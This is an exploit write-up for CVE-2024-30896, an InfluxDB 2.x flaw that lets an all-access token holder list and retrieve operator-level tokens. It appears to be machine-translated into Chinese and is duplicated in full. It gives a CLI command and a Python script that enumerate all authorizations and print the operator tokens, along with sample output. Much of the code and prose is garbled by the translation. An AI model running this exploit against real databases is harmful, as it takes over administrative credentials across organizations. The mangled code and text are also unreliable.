#利用title: Infuxdb OSS操作员特权通过BusinessLogic缺陷升级
#日期: 22/03/2024
#利用作者: Andrea Pasin(Xenom0rph97)
#研究人员homepage: https://xenom0rph97.github.io/xeno/
#github exploit repo: https://github.com/xenom0rph97/cve-2024-30896
#软件link: https://www.influxdata.com/products/influxdb/
#版本: 2.x=2.7.11
#测试在: InfuxdB 2.x
#CVE: CVE-2024-30896
#CVSS基础得分: 9.1
#CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C3:H/I3:H/A:H
#CVE-2024-30896
## 概括
InfluxDB中的业务逻辑缺陷允许拥有有效的Allaccess的用户
通过列出当前
授权令牌。
## 设想
攻击者可能是管理员通过一个用户访问的用户
仅在其组织内部的allaccess令牌。
该用户的权限将允许对组织充分控制,但是
仍然会阻止他与其他组织互动。
## 影响
此漏洞将使用户获得对
InfluxDB实例。类似的条件可能会完全妥协
用户拥有的机密性,完整性和可用性
不同的组织。此外,由于操作员令牌有
整个行政权限,可用性和完整性
流入可能会受到损害。
##先决条件/限制
1。攻击者必须具有有效的allaccess令牌
2。必须在操作员的同一组织中创建allaccess代币
令牌居住(例如,与管理员用户相同的组织)
3。攻击者必须能够通过CLI或API与InfluxDB实例互动
(流入器)
##复制步骤
###案例1:通过infuxdb apis3360剥削
Python版本: 3
需求:
脚本用法
````````
%python3 ./cve-2024-30896.py -H
USAGE: CVE-2024-30896.PY [-H] [-t TOKEN] [-e ENDPOINTURL] [-v [verbose]]
[-vv [Vverbose]]
可选参数:
-h, - 赫尔普显示此帮助消息和退出
-t令牌, - token doken
定制或allaccess代币访问涌入DB
实例
-e endpointUrl,-Endpointurl endpointUrll
infuxdb实例的端点URL(例如。
-v [冗长], - verbose [冗长]
启用详细记录- 信息
-vv [vverbose], - verbose [vverbose]
启用详细记录- 调试
````````
###案例2:通过涌入CLI剥削
1。execute:
将在InfluxDB实例上列出所有当前的活动操作员令牌。
例子
````````
#使用Allaccess令牌
Influx auth ls -t u1ouqmfc {redacted} | grep u1ouqmfc {redacted}
0CC41C3B050E5000 U1OUQMFC {REDACTED}
管理员0CB9C92EE228B000 [READ:ORGS/87D0746948A3B3F5/授权
write
rgs/87D0746948A3B3F5/授权
READ:ORGS/87D0746948A3B3F5/桶写
rgs/87D0746948A3B3F5/桶
READ:ORGS/87D0746948A3B3F5/仪表板
write
rgs/87d0746948a3b3f5/dashboards Read:/orgs/87D0746948A3B3F5
READ:ORGS/87D0746948A3B3F5/sources Write
rgs/87D0746948A3B3F5/sources
READ:ORGS/87D0746948A3B3F5/任务写入
rgs/87D0746948A3B3F5/任务
READ:ORGS/87D0746948A3B3F5/TELGRAFS WIRDER:ORGS/87D0746948A3B3B3F5/TELPERGRAFS
read:/user/0cb9c92ee228b000 write3:/users/0cb9c92ee228b000
READ:ORGS/87D0746948A3B3F5/变量写入
rgs/87D0746948A3B3F5/变量
READ:ORGS/87D0746948A3B3F5/刮板WIRD:ORGS/87D0746948A3B3B3F5/刮刀
READ:ORGS/87D0746948A3B3F5/SECRETS WILLE
rgs/87D0746948A3B3F5/SECRETS
READ:ORGS/87D0746948A3B3F5/LABELS WIRDLE:ORGS/87D0746948A3B3F5/LABELS
READ:ORGS/87D0746948A3B3F5/视图Write
rgs/87D0746948A3B3F5/Views/views
READ:ORGS/87D0746948A3B3F5/文档Write
rgs/87D0746948A3B3F5/DOCUMENTS/DOCUMENTS
READ:ORGS/87D0746948A3B3F5/notificationrules
write
rgs/87d0746948a3b3f5/notificationrules
READ:ORGS/87D0746948A3B3F5/notificationEndpoints
write
rgs/87d0746948a3b3f5/notificationendpoints
READ:ORGS/87D0746948A3B3F5/CHECKS WIRDE:ORGS/87D0746948A3B3F5/checks
READ:ORGS/87D0746948A3B3F5/DBRP WREED:ORGS/87D0746948A3B3F5/DBRP
READ:ORGS/87D0746948A3B3F5/笔记本写作
rgs/87D0746948A3B3B3F5/Notebooks
READ:ORGS/87D0746948A3B3F5/注释
write
rgs/87D0746948A3B3F5/注释READ:ORGS/87D0746948A3B3F5/远程
write
rgs/87d0746948a3b3f5/遥控器read
rgs/87D0746948A3B3F5/REPLICATIONS
write
rgs/87d0746948a3b3f5/复制]
#列出所有可用的代币通过Allaccess令牌并仅检索
操作员级令牌
Influx auth ls -t u1ouqmfc {redacted} | GREP WREAD:/orgs
0CBB920E128E5000 gerkylo0ph_ibuk0y {redacted}
管理员0CB9C92EE228B000 [READ:/授权Writer:/授权
read:/buckets write:/buckets read:/dashboards with:/dashboards read:/orgs
write:/orgs read:/sources write:/sources read:/任务write:/任务
Read:/Telegrafs Writer:/Telegrafs Read:/用户write:/用户read:/variables
write:/变量read:/刮刀write:/刮刀read:/刮刀read:/secrets
write:/secrets read:/labels write:/标签read:/views write:/view
READ:/文档Writer:/文档READ:/NOTIFIFIENRES
write:/notificationrules read:/notificationendpoints
write:/notificitifieendpoints read:/checks write:/checks read:/dbrp
write:/dbrp read:/笔记本write:/笔记本read:/nothotations
write:/注释read:/遥控器write:/遥控器read:/遥控器read:/replications/replications
write:/复制]
infuxdb_client==1.41.0
导入Influxdb_client
导入argparse
导入记录
导入系统
argparser=argparse.argumentparser()
argparser.add_argument(' - t',' - token',type=str,help='custom custom或allaccess令牌以访问涌入DB实例')
argparser.add_argument(' - e',' - endpointUrl',type=str,help='infuxdb实例的端点URL(ex。\'https://myinfluxdbinstance:8086/\')')
argparser.add_argument(' - v',' - verbose',type=bool,const=true,nargs='?',help='启用词汇登录- info')
argparser.add_argument(' - vv',' - vverbose',type=bool,const=true,nargs='?',help='启用debose debuging-debug')
args=argparser.parse_args()
#使用用户检索值或默认值(硬编码)
all_access_token='allaccessToken'
infux_endpoint_url='influxdbendpointUrl'
#定义一些颜色
红色='\ 033 [31m'
黄色='\ 033 [93m'
紫色='\ 33 [1; 95m'
绿色='\ 033 [0; 92m'
青色='\ 033 [96m'
bold='\ 033 [1M'
endc='\ 033 [39m'
如果args.vverbose==true:
logging.basicconfig(level=logging.debug)
elif args.verbose==true:
logging.basicconfig(level=logging.info)
logger=logging.getLogger()
如果args.token:
token=args.token
其他:
logger.debug(f'{yellow}用户没有设置令牌,使用默认一个{endc}')
token=all_access_token
如果args.endpointurl:
endPointUrl=args.endpointurl
其他:
logger.debug(f'{yellow}用户未设置InfluxDB的端点URL,使用默认一个{endc}')
endpointUrl=infulux_endpoint_url
logger.info(f'{cyan}连接到infux db实例{endc}')
#连接到InfluxDB实例
TRY:
conn=infuxdb_client.influxdbclient(
url=endpointUrl,
令牌=令牌,
调试=false,
verify_ssl=true
)
#验证InfluxDB连接
健康=conn.ping()
如果不是Health :
logger.error(f'{red}无法连接到db实例' + endpointurl + f'{endc}')
print(f'{red}退出执行. {endc}')
sys.exit(1)
除异常外,E:
logger.error(f'{red}无法连接到db instance:' + endpointurl +'error:' + str(e) + f'{endc}')
print(f'{red}退出执行. {endc}')
sys.exit(1)
#检索所有当前验证
logger.debug(f'{yellow}检索所有auth tokens {endc}')
print(f'{cyan}枚举当前授权. {endc}')
TRY:
auths=conn.authorizations_api()。find_authorizations()
除异常外,E:
logger.error(f'{red}无法检索授权。err:' + str(e) + f'{endc}')
print(f'{red}无法检索授权。退出. {endc}')
sys.exit(1)
如果不是auths:
print(f'{cyan}在实例{endc}'上没有找到授权令牌)
sys.exit(1)
在实例{endc} \ n')上print(f'{cyan} {str(len(auths))}令牌
#提取操作员令牌- 解析权限要查找('org=none'和'authType=write/auths'),而不是100%效率- 优化
logger.debug(f'{allow}解析验证权限以检索操作员令牌{endc}')
打印(f'{cyan}枚举所有操作员tokens: {endc}')
op_tokens=[]
#为了了解令牌是否为“操作员”类型
TRY:
在auths:中为auth
如果auth.permissions:
对于auth.permissions:
如果perm.action=='write'和perm.resource.org==none and perm.Resource.type=='授权':
op_tokens.append(auth.token)
除异常外,E:
logger.error(f'{red}无法在发现的授权上解析权限。err:' + str(e) + f'{endc}')
打印(f'{red}无法在找到的授权上解析权限。退出执行. {endc}')
sys.exit(1)
logger.info(f'{cyan}打印所有操作员auth tokens {endc}')
print(f'{cyan} {str(len(op_tokens))}找到操作员令牌。
对于op_t in op_tokens:
print(f'{green} {op_t} {endc}')
#日期: 22/03/2024
#利用作者: Andrea Pasin(Xenom0rph97)
#研究人员homepage: https://xenom0rph97.github.io/xeno/
#github exploit repo: https://github.com/xenom0rph97/cve-2024-30896
#软件link: https://www.influxdata.com/products/influxdb/
#版本: 2.x=2.7.11
#测试在: InfuxdB 2.x
#CVE: CVE-2024-30896
#CVSS基础得分: 9.1
#CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C3:H/I3:H/A:H
#CVE-2024-30896
## 概括
InfluxDB中的业务逻辑缺陷允许拥有有效的Allaccess的用户
通过列出当前
授权令牌。
## 设想
攻击者可能是管理员通过一个用户访问的用户
仅在其组织内部的allaccess令牌。
该用户的权限将允许对组织充分控制,但是
仍然会阻止他与其他组织互动。
## 影响
此漏洞将使用户获得对
InfluxDB实例。类似的条件可能会完全妥协
用户拥有的机密性,完整性和可用性
不同的组织。此外,由于操作员令牌有
整个行政权限,可用性和完整性
流入可能会受到损害。
##先决条件/限制
1。攻击者必须具有有效的allaccess令牌
2。必须在操作员的同一组织中创建allaccess代币
令牌居住(例如,与管理员用户相同的组织)
3。攻击者必须能够通过CLI或API与InfluxDB实例互动
(流入器)
##复制步骤
###案例1:通过infuxdb apis3360剥削
Python版本: 3
需求:
infuxdb_client==1.41.0
脚本用法
````````
%python3 ./cve-2024-30896.py -H
USAGE: CVE-2024-30896.PY [-H] [-t TOKEN] [-e ENDPOINTURL] [-v [verbose]]
[-vv [Vverbose]]
可选参数:
-h, - 赫尔普显示此帮助消息和退出
-t令牌, - token doken
定制或allaccess代币访问涌入DB
实例
-e endpointUrl,-Endpointurl endpointUrll
infuxdb实例的端点URL(例如。
正在加载...
myinfluxdbinstance
启用详细记录- 信息
-vv [vverbose], - verbose [vverbose]
启用详细记录- 调试
````````
###案例2:通过涌入CLI剥削
1。execute:
infux auth ls -t allaccesstoken | grep write:/orgs
。这将在InfluxDB实例上列出所有当前的活动操作员令牌。
例子
````````
#使用Allaccess令牌
Influx auth ls -t u1ouqmfc {redacted} | grep u1ouqmfc {redacted}
0CC41C3B050E5000 U1OUQMFC {REDACTED}
管理员0CB9C92EE228B000 [READ:ORGS/87D0746948A3B3F5/授权
write

READ:ORGS/87D0746948A3B3F5/桶写

READ:ORGS/87D0746948A3B3F5/仪表板
write

READ:ORGS/87D0746948A3B3F5/sources Write

READ:ORGS/87D0746948A3B3F5/任务写入

READ:ORGS/87D0746948A3B3F5/TELGRAFS WIRDER:ORGS/87D0746948A3B3B3F5/TELPERGRAFS
read:/user/0cb9c92ee228b000 write3:/users/0cb9c92ee228b000
READ:ORGS/87D0746948A3B3F5/变量写入

READ:ORGS/87D0746948A3B3F5/刮板WIRD:ORGS/87D0746948A3B3B3F5/刮刀
READ:ORGS/87D0746948A3B3F5/SECRETS WILLE

READ:ORGS/87D0746948A3B3F5/LABELS WIRDLE:ORGS/87D0746948A3B3F5/LABELS
READ:ORGS/87D0746948A3B3F5/视图Write

READ:ORGS/87D0746948A3B3F5/文档Write

READ:ORGS/87D0746948A3B3F5/notificationrules
write

READ:ORGS/87D0746948A3B3F5/notificationEndpoints
write

READ:ORGS/87D0746948A3B3F5/CHECKS WIRDE:ORGS/87D0746948A3B3F5/checks
READ:ORGS/87D0746948A3B3F5/DBRP WREED:ORGS/87D0746948A3B3F5/DBRP
READ:ORGS/87D0746948A3B3F5/笔记本写作

READ:ORGS/87D0746948A3B3F5/注释
write

write


write

#列出所有可用的代币通过Allaccess令牌并仅检索
操作员级令牌
Influx auth ls -t u1ouqmfc {redacted} | GREP WREAD:/orgs
0CBB920E128E5000 gerkylo0ph_ibuk0y {redacted}
管理员0CB9C92EE228B000 [READ:/授权Writer:/授权
read:/buckets write:/buckets read:/dashboards with:/dashboards read:/orgs
write:/orgs read:/sources write:/sources read:/任务write:/任务
Read:/Telegrafs Writer:/Telegrafs Read:/用户write:/用户read:/variables
write:/变量read:/刮刀write:/刮刀read:/刮刀read:/secrets
write:/secrets read:/labels write:/标签read:/views write:/view
READ:/文档Writer:/文档READ:/NOTIFIFIENRES
write:/notificationrules read:/notificationendpoints
write:/notificitifieendpoints read:/checks write:/checks read:/dbrp
write:/dbrp read:/笔记本write:/笔记本read:/nothotations
write:/注释read:/遥控器write:/遥控器read:/遥控器read:/replications/replications
write:/复制]
infuxdb_client==1.41.0
导入Influxdb_client
导入argparse
导入记录
导入系统
argparser=argparse.argumentparser()
argparser.add_argument(' - t',' - token',type=str,help='custom custom或allaccess令牌以访问涌入DB实例')
argparser.add_argument(' - e',' - endpointUrl',type=str,help='infuxdb实例的端点URL(ex。\'https://myinfluxdbinstance:8086/\')')
argparser.add_argument(' - v',' - verbose',type=bool,const=true,nargs='?',help='启用词汇登录- info')
argparser.add_argument(' - vv',' - vverbose',type=bool,const=true,nargs='?',help='启用debose debuging-debug')
args=argparser.parse_args()
#使用用户检索值或默认值(硬编码)
all_access_token='allaccessToken'
infux_endpoint_url='influxdbendpointUrl'
#定义一些颜色
红色='\ 033 [31m'
黄色='\ 033 [93m'
紫色='\ 33 [1; 95m'
绿色='\ 033 [0; 92m'
青色='\ 033 [96m'
bold='\ 033 [1M'
endc='\ 033 [39m'
如果args.vverbose==true:
logging.basicconfig(level=logging.debug)
elif args.verbose==true:
logging.basicconfig(level=logging.info)
logger=logging.getLogger()
如果args.token:
token=args.token
其他:
logger.debug(f'{yellow}用户没有设置令牌,使用默认一个{endc}')
token=all_access_token
如果args.endpointurl:
endPointUrl=args.endpointurl
其他:
logger.debug(f'{yellow}用户未设置InfluxDB的端点URL,使用默认一个{endc}')
endpointUrl=infulux_endpoint_url
logger.info(f'{cyan}连接到infux db实例{endc}')
#连接到InfluxDB实例
TRY:
conn=infuxdb_client.influxdbclient(
url=endpointUrl,
令牌=令牌,
调试=false,
verify_ssl=true
)
#验证InfluxDB连接
健康=conn.ping()
如果不是Health :
logger.error(f'{red}无法连接到db实例' + endpointurl + f'{endc}')
print(f'{red}退出执行. {endc}')
sys.exit(1)
除异常外,E:
logger.error(f'{red}无法连接到db instance:' + endpointurl +'error:' + str(e) + f'{endc}')
print(f'{red}退出执行. {endc}')
sys.exit(1)
#检索所有当前验证
logger.debug(f'{yellow}检索所有auth tokens {endc}')
print(f'{cyan}枚举当前授权. {endc}')
TRY:
auths=conn.authorizations_api()。find_authorizations()
除异常外,E:
logger.error(f'{red}无法检索授权。err:' + str(e) + f'{endc}')
print(f'{red}无法检索授权。退出. {endc}')
sys.exit(1)
如果不是auths:
print(f'{cyan}在实例{endc}'上没有找到授权令牌)
sys.exit(1)
在实例{endc} \ n')上print(f'{cyan} {str(len(auths))}令牌
#提取操作员令牌- 解析权限要查找('org=none'和'authType=write/auths'),而不是100%效率- 优化
logger.debug(f'{allow}解析验证权限以检索操作员令牌{endc}')
打印(f'{cyan}枚举所有操作员tokens: {endc}')
op_tokens=[]
#为了了解令牌是否为“操作员”类型
TRY:
在auths:中为auth
如果auth.permissions:
对于auth.permissions:
如果perm.action=='write'和perm.resource.org==none and perm.Resource.type=='授权':
op_tokens.append(auth.token)
除异常外,E:
logger.error(f'{red}无法在发现的授权上解析权限。err:' + str(e) + f'{endc}')
打印(f'{red}无法在找到的授权上解析权限。退出执行. {endc}')
sys.exit(1)
logger.info(f'{cyan}打印所有操作员auth tokens {endc}')
print(f'{cyan} {str(len(op_tokens))}找到操作员令牌。
对于op_t in op_tokens:
print(f'{green} {op_t} {endc}')